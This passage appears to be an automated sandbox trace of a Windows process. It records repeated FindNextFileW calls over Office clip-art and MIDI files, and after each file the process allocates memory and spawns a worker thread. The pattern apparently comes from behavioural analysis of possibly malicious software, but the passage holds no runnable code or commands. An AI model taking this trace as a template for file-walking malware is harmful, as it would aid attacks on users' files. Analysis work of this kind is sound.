	[0262.222] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2244
	[0262.223] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.224] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e98, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02398_.WMF", cAlternateFileName="")) returned 1
	[0262.224] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2248
	[0262.226] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.227] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd24, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02400_.WMF", cAlternateFileName="")) returned 1
	[0262.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224c
	[0262.229] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.229] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2120, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02404_.WMF", cAlternateFileName="")) returned 1
	[0262.229] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2250
	[0262.232] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.233] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02405_.WMF", cAlternateFileName="")) returned 1
	[0262.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2254
	[0262.236] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.236] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02407_.WMF", cAlternateFileName="")) returned 1
	[0262.237] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2258
	[0262.239] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.239] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02413_.WMF", cAlternateFileName="")) returned 1
	[0262.239] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x225c
	[0262.242] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.242] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb24, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02417_.WMF", cAlternateFileName="")) returned 1
	[0262.242] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2260
	[0262.244] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.245] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02423_.WMF", cAlternateFileName="")) returned 1
	[0262.245] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2264
	[0262.535] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.536] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02424_.WMF", cAlternateFileName="")) returned 1
	[0262.536] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2268
	[0262.539] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.539] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02426_.WMF", cAlternateFileName="")) returned 1
	[0262.539] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x226c
	[0262.542] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.542] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02431_.WMF", cAlternateFileName="")) returned 1
	[0262.542] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2270
	[0262.545] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.545] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02435_.WMF", cAlternateFileName="")) returned 1
	[0262.546] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2274
	[0262.548] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.548] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02439_.WMF", cAlternateFileName="")) returned 1
	[0262.548] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2278
	[0262.551] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.551] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3218, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02441_.WMF", cAlternateFileName="")) returned 1
	[0262.551] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x227c
	[0262.553] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.554] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02443_.WMF", cAlternateFileName="")) returned 1
	[0262.554] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2280
	[0262.556] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.556] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02444_.WMF", cAlternateFileName="")) returned 1
	[0262.556] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2284
	[0262.558] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.559] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02446_.WMF", cAlternateFileName="")) returned 1
	[0262.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2288
	[0262.561] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.561] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02448_.WMF", cAlternateFileName="")) returned 1
	[0262.561] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228c
	[0262.564] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.564] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc28, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02450_.WMF", cAlternateFileName="")) returned 1
	[0262.564] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2290
	[0262.566] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.567] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02451_.WMF", cAlternateFileName="")) returned 1
	[0262.567] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2294
	[0262.710] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.711] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02453_.WMF", cAlternateFileName="")) returned 1
	[0262.711] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2298
	[0262.714] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.714] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1750, dwReserved0=0x72, dwReserved1=0x0, cFileName="NBOOK_01.MID", cAlternateFileName="")) returned 1
	[0262.714] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x229c
	[0262.717] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.718] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0x72, dwReserved1=0x0, cFileName="OCEAN_01.MID", cAlternateFileName="")) returned 1
	[0262.718] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a0
	[0262.720] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.721] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="OUTDR_01.MID", cAlternateFileName="")) returned 1
	[0262.721] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a4
	[0262.723] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.724] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b, dwReserved0=0x72, dwReserved1=0x0, cFileName="PAPER_01.MID", cAlternateFileName="")) returned 1
	[0262.724] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a8
	[0262.726] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.726] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x195b, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_01.MID", cAlternateFileName="")) returned 1
	[0262.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22ac
	[0262.728] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.729] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_02.MID", cAlternateFileName="")) returned 1
